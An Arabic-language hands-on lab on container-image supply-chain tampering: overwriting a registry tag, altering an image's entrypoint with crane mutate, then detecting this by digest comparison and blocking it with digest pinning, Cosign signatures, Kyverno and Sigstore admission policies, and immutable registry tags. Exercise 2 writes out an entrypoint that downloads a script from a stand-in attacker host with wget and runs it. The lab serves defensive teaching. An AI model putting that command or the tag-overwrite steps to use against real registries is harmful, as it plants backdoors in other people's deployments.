تمرين عملي: اكتشاف التلاعب بالعناصر البرمجية — استبدال صور الحاويات في Registry

نظرة عامة

وسوم صور الحاويات (tags) هي مؤشرات قابلة للتغيير. على عكس Git commit hash، فإن الوسم v1.0.0 ليس مرتبطاً تشفيرياً بصورة محددة — إنه مجرد تسمية يربطها registry بملخص manifest digest. يمكن لأي شخص لديه صلاحيات الدفع (push access) إلى المستودع الكتابة فوق هذا الربط في أي وقت، مستبدلاً الصورة خلف وسم موثوق بصمت تام.

هذا ليس خطراً نظرياً. تستغل هجمات سلسلة التوريد (supply-chain attacks) بشكل روتيني قابلية تغيير الوسوم لحقن تعليمات برمجية خبيثة في بيئات الإنتاج. إذا كانت ملفات النشر (deployment manifests) تشير إلى myapp:v1.0.0 عبر الوسم، فإن المهاجم الذي يخترق بيانات اعتماد registry يمكنه استبدال الصورة، وكل عملية سحب (pull) لاحقة ستحصل على حمولة المهاجم بدلاً من البناء الأصلي.

في هذا التمرين العملي ستقوم بالآتي:

  1. إعداد registry محلي من نوع OCI ودفع صورة حاوية أصلية.
  2. تنفيذ هجوم تغيير الوسم (tag-mutation attack) — دفع صورة مختلفة تماماً تحت نفس الوسم.
  3. تنفيذ هجوم حقن الطبقات (layer-injection attack) — تعديل صورة موجودة بشكل خفي دون إعادة بنائها.
  4. اكتشاف التلاعب باستخدام مقارنة digest.
  5. الحماية من التلاعب باستخدام تثبيت digest، وتوقيعات Cosign، ومتحكمات القبول (admission controllers)، وإعدادات ثبات registry.

بنهاية هذا التمرين، ستكون لديك خبرة عملية في دورة الهجوم والدفاع الكاملة لسلامة صور الحاويات.

المتطلبات الأساسية

قم بتثبيت الأدوات التالية قبل البدء. جميع الأوامر في هذا التمرين تم اختبارها على Linux و macOS.

الأداة الغرض التثبيت
Docker بناء وتشغيل الحاويات docs.docker.com/get-docker
crane فحص وتعديل صور OCI بدون Docker go install github.com/google/go-containerregistry/cmd/crane@latest
Cosign توقيع والتحقق من صور الحاويات docs.sigstore.dev/cosign
kubectl + kind مجموعة Kubernetes محلية (لتمارين متحكمات القبول) kind.sigs.k8s.io
jq معالجة JSON apt install jq / brew install jq

تحقق من الإعداد:

docker --version
crane version
cosign version
kubectl version --client
kind version
jq --version

إعداد البيئة

تشغيل Registry محلي

نستخدم صورة Docker registry الرسمية. يوفر لنا هذا registry خاصاً بدون مصادقة — مثالي لتوضيح مدى سهولة تغيير الوسوم عند وجود صلاحيات الدفع.

docker run -d -p 5000:5000 --name registry registry:2

تأكد من أن registry يعمل:

curl -s http://localhost:5000/v2/_catalog
# Expected: {"repositories":[]}

بناء ودفع صورة أصلية

أنشئ تطبيقاً بسيطاً يعتمد على Nginx يعرض صفحة بسيطة:

mkdir -p /tmp/lab-legitimate && cd /tmp/lab-legitimate

cat > index.html <<'EOF'


Legitimate App

Hello from the LEGITIMATE image

EOF cat > Dockerfile <<'EOF' FROM nginx:1.27-alpine COPY index.html /usr/share/nginx/html/index.html EOF docker build -t localhost:5000/myapp:v1.0.0 . docker push localhost:5000/myapp:v1.0.0

تسجيل Digest الأصلي

هذا الـ digest هو مصدر الحقيقة الخاص بك. احفظه — ستستخدمه طوال التمرين لاكتشاف ومنع التلاعب.

ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Original digest: $ORIGINAL_DIGEST"
# Example output: sha256:a1b2c3d4e5f6...

احفظ أيضاً manifest الكامل للمقارنة لاحقاً:

crane manifest localhost:5000/myapp:v1.0.0 | jq . > /tmp/original-manifest.json

التمرين 1: الهجوم — تغيير الوسم (Tag Mutation)

تغيير الوسم هو أبسط أشكال التلاعب بصور الحاويات. يقوم المهاجم ببناء صورة مختلفة تماماً ودفعها تحت نفس الوسم، مستبدلاً الصورة الأصلية في registry.

الخطوة 1: بناء صورة خبيثة

أنشئ صورة تبدو مشابهة لكنها تقدم محتوى مختلفاً — أو في هجوم حقيقي، تشغّل reverse shell، أو تسرّب الأسرار، أو تُعدّن العملات المشفرة:

mkdir -p /tmp/lab-malicious && cd /tmp/lab-malicious

cat > index.html <<'EOF'


Legitimate App

Hello from the LEGITIMATE image

EOF cat > Dockerfile <<'EOF' FROM nginx:1.27-alpine COPY index.html /usr/share/nginx/html/index.html # In a real attack, additional malicious layers would be added here EOF docker build -t localhost:5000/myapp:v1.0.0 . docker push localhost:5000/myapp:v1.0.0

لاحظ التفصيل المهم: لقد دفعنا إلى نفس الوسم بالضبطlocalhost:5000/myapp:v1.0.0.

الخطوة 2: التحقق من أن الوسم قد تم استبداله

TAMPERED_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Original digest:  $ORIGINAL_DIGEST"
echo "Current digest:   $TAMPERED_DIGEST"

if [ "$ORIGINAL_DIGEST" != "$TAMPERED_DIGEST" ]; then
  echo "WARNING: Tag v1.0.0 has been MUTATED — the image has changed!"
fi

المخرجات:

Original digest:  sha256:a1b2c3d4...
Current digest:   sha256:x9y8z7w6...
WARNING: Tag v1.0.0 has been MUTATED — the image has changed!

أي شخص يسحب myapp:v1.0.0 الآن يحصل على صورة المهاجم. لا يوجد تحذير، ولا إشعار، ولا سجل تدقيق في registry بسيط. الوسم ببساطة يشير إلى manifest جديد.

لماذا هذا خطير

هذا الهجوم سهل التنفيذ لأي شخص لديه بيانات اعتماد دفع إلى registry — حساب خدمة CI مخترق، أو رمز مسرّب في مستودع عام، أو عضو فريق ساخط. وسم الصورة يبدو كما هو، واسم المستودع يبدو كما هو، ومعظم خطوط نشر التطبيقات تسحب بشكل أعمى ما يشير إليه الوسم.

التمرين 2: الهجوم — حقن الطبقات (Layer Injection)

استبدال الصورة الكامل فعّال لكنه غير متقن. يمكن لمهاجم أكثر تطوراً تعديل صورة موجودة في مكانها، بإضافة أو تغيير طبقات دون إعادة البناء من Dockerfile. هذا يجعل اكتشاف التلاعب أصعب من خلال الفحص العادي.

الخطوة 1: إعادة التعيين إلى الصورة الأصلية

أولاً، أعد بناء ودفع الصورة الأصلية للحصول على خط أساس نظيف:

cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Reset to original digest: $ORIGINAL_DIGEST"

الخطوة 2: تعديل الصورة باستخدام crane

يقوم أمر crane mutate بتعديل البيانات الوصفية وإعدادات الصورة دون الحاجة إلى إعادة بناء كاملة. يمكن للمهاجم تغيير نقطة الدخول (entrypoint)، أو إضافة متغيرات بيئية، أو حقن أوامر:

# Change the entrypoint to run a malicious command before the original process
crane mutate localhost:5000/myapp:v1.0.0 \
  --entrypoint "/bin/sh,-c,wget -q https://evil.example.com/backdoor.sh -O /tmp/b.sh && sh /tmp/b.sh; nginx -g 'daemon off;'" \
  --tag localhost:5000/myapp:v1.0.0

هذا الأمر الواحد يستبدل الوسم بصورة معدّلة ستنفذ تحميلاً خبيثاً قبل تشغيل Nginx — كل ذلك دون كتابة Dockerfile أو البناء من الصفر.

الخطوة 3: مقارنة ملفات Manifest

crane manifest localhost:5000/myapp:v1.0.0 | jq . > /tmp/tampered-manifest.json
diff /tmp/original-manifest.json /tmp/tampered-manifest.json

سيُظهر الفرق أن config digest قد تغير (لأن إعدادات الصورة — بما في ذلك نقطة الدخول — مختلفة)، لكن الطبقات الأساسية قد تبقى متطابقة. للمشغّل الذي يفحص الصورة بشكل عابر، تبدو متشابهة تقريباً:

# Inspect the tampered image's config
crane config localhost:5000/myapp:v1.0.0 | jq '.config.Entrypoint'
# Shows the injected malicious entrypoint

# Compare with the original
docker inspect localhost:5000/myapp@$ORIGINAL_DIGEST | jq '.[0].Config.Entrypoint'
# Shows the original, clean entrypoint

هذه التقنية خطيرة بشكل خاص في البيئات التي تتحقق فيها الفرق فقط من وسم الصورة أو manifest المستوى الأعلى دون فحص الإعدادات الكاملة.

التمرين 3: الاكتشاف — مقارنة Digest

أكثر آليات الاكتشاف أساسيةً هي مقارنة digest. نظراً لأن كل صورة فريدة لها SHA-256 digest فريد، فإن أي تغيير — مهما كان صغيراً — ينتج hash مختلفاً تماماً.

الخطوة 1: سكريبت التحقق اليدوي

أنشئ سكريبتاً يتحقق مما إذا كان وسم الصورة لا يزال يشير إلى digest المتوقع:

cat > /tmp/verify-digest.sh <<'SCRIPT'
#!/bin/bash
set -euo pipefail

IMAGE="$1"
EXPECTED_DIGEST="$2"

CURRENT_DIGEST=$(crane digest "$IMAGE" 2>/dev/null)

if [ "$CURRENT_DIGEST" = "$EXPECTED_DIGEST" ]; then
  echo "PASS: $IMAGE matches expected digest"
  echo "  Digest: $CURRENT_DIGEST"
  exit 0
else
  echo "FAIL: $IMAGE has been TAMPERED WITH"
  echo "  Expected: $EXPECTED_DIGEST"
  echo "  Actual:   $CURRENT_DIGEST"
  exit 1
fi
SCRIPT
chmod +x /tmp/verify-digest.sh

شغّله:

# This will FAIL because the image was tampered in Exercise 2
/tmp/verify-digest.sh localhost:5000/myapp:v1.0.0 "$ORIGINAL_DIGEST"
# Output: FAIL: localhost:5000/myapp:v1.0.0 has been TAMPERED WITH

الخطوة 2: الدمج في خط أنابيب CI — GitHub Actions

ادمج التحقق من digest في خط أنابيب CI/CD الخاص بك حتى يتم اكتشاف الصور المُعدّلة قبل النشر:

name: Verify Image Integrity

on:
  workflow_dispatch:
  push:
    branches: [main]

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}/myapp

jobs:
  verify-image:
    runs-on: ubuntu-latest
    steps:
      - name: Install crane
        uses: imjasonh/setup-crane@v0.4

      - name: Log in to registry
        uses: docker/login-action@v3
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Verify image digest
        env:
          EXPECTED_DIGEST: ${{ vars.MYAPP_V1_DIGEST }}
        run: |
          IMAGE="${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:v1.0.0"
          CURRENT_DIGEST=$(crane digest "$IMAGE")

          echo "Expected: $EXPECTED_DIGEST"
          echo "Actual:   $CURRENT_DIGEST"

          if [ "$CURRENT_DIGEST" != "$EXPECTED_DIGEST" ]; then
            echo "::error::Image digest mismatch — possible tampering detected!"
            exit 1
          fi

          echo "Image integrity verified."

      - name: Verify all deployment images
        run: |
          # Parse digests from a tracked manifest file
          while IFS='=' read -r image digest; do
            CURRENT=$(crane digest "$image")
            if [ "$CURRENT" != "$digest" ]; then
              echo "::error::TAMPERED: $image (expected $digest, got $CURRENT)"
              FAILED=1
            else
              echo "OK: $image"
            fi
          done < ./deploy/image-digests.txt

          [ -z "${FAILED:-}" ] || exit 1

خزّن قيم digest المتوقعة في ملف خاضع للتحكم بالإصدار (deploy/image-digests.txt) حتى يمر أي تغيير على قيم digest المتوقعة عبر مراجعة الكود:

# deploy/image-digests.txt
ghcr.io/myorg/myapp:v1.0.0=sha256:a1b2c3d4e5f6...
ghcr.io/myorg/myapp:v2.0.0=sha256:f6e5d4c3b2a1...

التمرين 4: الدفاع — تثبيت Digest (Digest Pinning)

تثبيت digest هو أبسط وأكثر الدفاعات فعالية ضد تغيير الوسوم. بدلاً من الإشارة إلى صورة عبر وسمها القابل للتغيير، تشير إليها عبر digest غير القابل للتغيير.

الخطوة 1: تثبيت الصورة في ملف Kubernetes Manifest

استبدل المراجع المبنية على الوسوم بمراجع مبنية على digest:

# VULNERABLE: uses a mutable tag
# image: localhost:5000/myapp:v1.0.0

# SECURE: pinned to an immutable digest
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 1
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
      - name: myapp
        image: localhost:5000/myapp@sha256:a1b2c3d4e5f6...
        ports:
        - containerPort: 80

مع تثبيت digest، حتى لو قام مهاجم بتغيير وسم v1.0.0، فإن نشرك لا يزال يسحب الصورة المحددة بالضبط بواسطة digest المُثبّت. يحل registry الصور بواسطة digest بشكل مستقل عن الوسوم.

الخطوة 2: اختبرها

# Reset to clean image
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)

# Tamper with the tag
cd /tmp/lab-malicious
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0

# Pull by tag — gets the TAMPERED image
docker pull localhost:5000/myapp:v1.0.0

# Pull by digest — gets the ORIGINAL image
docker pull localhost:5000/myapp@$ORIGINAL_DIGEST

# Verify
docker run --rm localhost:5000/myapp@$ORIGINAL_DIGEST cat /usr/share/nginx/html/index.html
# Output: Hello from the LEGITIMATE image

الخطوة 3: فرض تثبيت Digest باستخدام Kyverno

لضمان عدم نشر أي عضو في الفريق مرجعاً مبنياً على وسم عن طريق الخطأ، استخدم سياسة Kyverno التي ترفض أي مواصفات pod لا تستخدم digest:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-image-digest
  annotations:
    policies.kyverno.io/title: Require Image Digest
    policies.kyverno.io/description: >-
      Requires all container images to be referenced by digest
      rather than by tag, preventing tag-mutation attacks.
spec:
  validationFailureAction: Enforce
  background: true
  rules:
  - name: check-image-digest
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "Images must be referenced by digest (image@sha256:...), not by tag."
      pattern:
        spec:
          containers:
          - image: "*@sha256:*"
  - name: check-init-container-digest
    match:
      any:
      - resources:
          kinds:
          - Pod
    preconditions:
      all:
      - key: "{{ request.object.spec.initContainers[] || `[]` | length(@) }}"
        operator: GreaterThanOrEquals
        value: 1
    validate:
      message: "Init container images must be referenced by digest."
      pattern:
        spec:
          initContainers:
          - image: "*@sha256:*"

طبّق السياسة واختبرها:

kubectl apply -f require-image-digest.yaml

# This will be REJECTED (uses a tag)
kubectl run test --image=localhost:5000/myapp:v1.0.0
# Error: Images must be referenced by digest (image@sha256:...), not by tag.

# This will be ADMITTED (uses a digest)
kubectl run test --image=localhost:5000/myapp@sha256:a1b2c3d4e5f6...

التمرين 5: الدفاع — التحقق من توقيعات Cosign

تثبيت digest يخبرك أي صورة تثق بها، لكنه لا يثبت من بناها. توقيعات Cosign تربط هوية تشفيرية بـ digest الصورة، مما يمكّنك من التحقق من المصدر (provenance).

الخطوة 1: إنشاء زوج مفاتيح التوقيع

cosign generate-key-pair
# Creates cosign.key (private) and cosign.pub (public)

الخطوة 2: توقيع الصورة الأصلية

وقّع دائماً بواسطة digest، وليس بواسطة الوسم:

# Reset to clean image
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)

# Sign by digest
cosign sign --key cosign.key --tlog-upload=false \
  localhost:5000/myapp@${ORIGINAL_DIGEST}

# Verify the signature
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp@${ORIGINAL_DIGEST}
# Output: Verification for localhost:5000/myapp@sha256:... --
# The following checks were performed:
# - The cosign claims were validated
# - The signatures were verified against the specified public key

الخطوة 3: التلاعب بالوسم والتحقق

# Push the malicious image under the same tag
cd /tmp/lab-malicious
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0

# Try to verify the tag — this will FAIL
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp:v1.0.0
# Error: no matching signatures

# Verify the original digest — this still PASSES
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp@${ORIGINAL_DIGEST}
# Output: Verified OK

هذا يوضح الخاصية الأساسية: توقيعات Cosign مرتبطة بـ digests وليس بالوسوم. عندما يقوم مهاجم بتغيير وسم، لا يتبعه التوقيع — يبقى مرتبطاً بـ digest الأصلي. التحقق ضد الوسم يفشل لأن الوسم الآن يشير إلى صورة غير موقّعة.

لماذا هذا مهم

التوقيعات توفر سلسلة ثقة من الباني إلى الناشر. حتى لو حصل مهاجم على صلاحيات الدفع إلى registry الخاص بك، لا يمكنه تزوير توقيع صالح بدون مفتاح التوقيع الخاص بك. بالاقتران مع تثبيت digest، تمنحك التوقيعات كلاً من السلامة (الصورة لم يتم تعديلها) والأصالة (الصورة بُنيت من قبل طرف موثوق).

التمرين 6: الدفاع — فرض متحكم القبول (Admission Controller)

تثبيت digest والتوقيعات فعّالة فقط إذا تم فرضها بشكل مستمر. يؤتمت متحكم القبول هذا الفرض على مستوى واجهة برمجة Kubernetes، رافضاً أي عبء عمل يشير إلى صورة غير موقّعة أو غير موثقة.

الخطوة 1: إنشاء مجموعة Kind

kind create cluster --name sigstore-lab

# Configure the cluster to access the local registry
docker network connect kind registry
kubectl cluster-info --context kind-sigstore-lab

الخطوة 2: تثبيت Sigstore Policy Controller

helm repo add sigstore https://sigstore.github.io/helm-charts
helm repo update

helm install policy-controller sigstore/policy-controller \
  --namespace cosign-system \
  --create-namespace \
  --set webhook.configMapName=policy-controller-config

انتظر حتى يصبح المتحكم جاهزاً:

kubectl -n cosign-system rollout status deploy/policy-controller-webhook

الخطوة 3: إنشاء سياسة التحقق

# Create a secret with the Cosign public key
kubectl create secret generic cosign-pub-key \
  --from-file=cosign.pub=cosign.pub \
  -n cosign-system

# Label the namespace to enable enforcement
kubectl label namespace default \
  policy.sigstore.dev/include=true

أنشئ ClusterImagePolicy تتطلب توقيع Cosign صالحاً لجميع الصور من registry الخاص بك:

apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: require-signature
spec:
  images:
  - glob: "localhost:5000/**"
  authorities:
  - key:
      secretRef:
        name: cosign-pub-key
        namespace: cosign-system
      hashAlgorithm: sha256
kubectl apply -f cluster-image-policy.yaml

الخطوة 4: اختبار الفرض

# Deploy with the SIGNED image (by digest) — ADMITTED
kubectl run signed-app \
  --image=localhost:5000/myapp@${ORIGINAL_DIGEST}
# pod/signed-app created

# Deploy with the TAMPERED image (unsigned) — REJECTED
TAMPERED_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
kubectl run tampered-app \
  --image=localhost:5000/myapp@${TAMPERED_DIGEST}
# Error from server (BadRequest): admission webhook "policy.sigstore.dev" denied the request:
# validation failed: failed policy: require-signature: 
# spec.containers[0].image signature verification failed

يحظر متحكم القبول تلقائياً أي صورة ليس لها توقيع صالح من مفتاحك الموثوق. هذا يُغلق الحلقة — حتى لو دفع مهاجم صورة مُعدّلة، لا يمكنها العمل في مجموعتك.

التمرين 7: ثبات Registry (Registry Immutability)

الهجمات في التمرينين 1 و 2 ممكنة فقط لأن registry يسمح بالكتابة فوق الوسوم. تدعم العديد من خدمات registry المُدارة ثبات الوسوم (tag immutability)، مما يمنع أي عملية دفع إلى وسم موجود.

AWS ECR: تفعيل ثبات الوسوم

# Enable immutable tags on an existing repository
aws ecr put-image-tag-mutability \
  --repository-name myapp \
  --image-tag-mutability IMMUTABLE

# Verify the setting
aws ecr describe-repositories --repository-names myapp \
  | jq '.repositories[0].imageTagMutability'
# Output: "IMMUTABLE"

مع تفعيل الثبات، يتم رفض أي محاولة للدفع إلى وسم موجود:

docker push 123456789.dkr.ecr.us-east-1.amazonaws.com/myapp:v1.0.0
# Error: tag invalid: The image tag 'v1.0.0' already exists in the 'myapp' repository
# and cannot be overwritten because the repository is immutable.

Google Artifact Registry: تفعيل ثبات الوسوم

gcloud artifacts repositories update myapp-repo \
  --location=us-central1 \
  --immutable-tags

Azure ACR: تفعيل قفل الوسوم

az acr repository update \
  --name myregistry \
  --image myapp:v1.0.0 \
  --write-enabled false

Docker Hub و GHCR

لا يدعم Docker Hub و GitHub Container Registry حالياً ثبات الوسوم على مستوى registry. لهذه الخدمات، اعتمد على توقيعات Cosign ومتحكمات القبول كخط دفاعك الأساسي.

المقايضات

ثبات الوسوم يمنع الكتابة فوقها لكنه يمنع أيضاً سيناريوهات إعادة الوسم المشروعة (مثل ترقية صورة من staging إلى production بإعادة وسمها). خطط لاستراتيجية الوسوم وفقاً لذلك — استخدم وسوماً فريدة (مثل وسوم مبنية على Git SHA) وعمليات ترقية تنشئ وسوماً جديدة بدلاً من الكتابة فوق الموجودة.

التنظيف

أزل جميع الموارد التي تم إنشاؤها خلال هذا التمرين:

# Stop and remove the local registry
docker stop registry && docker rm registry

# Remove the kind cluster (if created)
kind delete cluster --name sigstore-lab

# Clean up temporary files
rm -rf /tmp/lab-legitimate /tmp/lab-malicious
rm -f /tmp/original-manifest.json /tmp/tampered-manifest.json
rm -f /tmp/verify-digest.sh
rm -f cosign.key cosign.pub

# Remove locally cached images
docker rmi localhost:5000/myapp:v1.0.0 2>/dev/null || true

النقاط الرئيسية

  • وسوم صور الحاويات قابلة للتغيير. يمكن لأي شخص لديه صلاحيات الدفع استبدال الصورة خلف الوسم بصمت. لا تثق أبداً بالوسم كضمان لمحتوى الصورة.
  • تثبيت digest هو خط دفاعك الأول. الإشارة إلى الصور بواسطة @sha256:... بدلاً من :tag يضمن أنك تسحب دائماً الصورة المقصودة بالضبط، بغض النظر عن تغييرات الوسوم.
  • توقيعات Cosign تثبت المصدر. تربط التوقيعات هوية تشفيرية بـ digest محدد، مما يتحقق من السلامة (لم يتم التلاعب) والأصالة (بُنيت من قبل طرف موثوق).
  • متحكمات القبول تفرض السياسات وقت النشر. أدوات مثل Kyverno و Sigstore policy-controller ترفض الصور غير الموقّعة أو غير الموثقة قبل أن تتمكن من العمل في مجموعتك.
  • ثبات registry يمنع الهجوم من المصدر. تفعيل الوسوم غير القابلة للتغيير على ECR أو GCR أو ACR يوقف الكتابة فوق الوسوم تماماً، لكنه يتطلب استراتيجية وسوم تتجنب إعادة الاستخدام.
  • الدفاع متعدد الطبقات ضروري. لا توجد آلية واحدة كافية. ادمج تثبيت digest والتوقيع ومتحكمات القبول وثبات registry لحماية قوية ضد هجمات سلسلة التوريد على صور الحاويات.

الخطوات التالية

واصل بناء مهاراتك في أمن الحاويات مع هذه الأدلة ذات الصلة: